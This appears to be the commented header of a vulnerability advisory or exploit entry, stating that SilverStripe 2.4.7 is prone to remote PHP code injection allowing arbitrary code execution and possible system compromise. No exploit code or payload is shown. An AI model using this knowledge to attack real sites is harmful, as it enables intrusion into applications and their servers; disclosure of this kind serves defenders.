# SilverStripe is prone to a remote PHP code-injection vulnerability.

# An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

# SilverStripe 2.4.7 is vulnerable; other versions may also be affected.
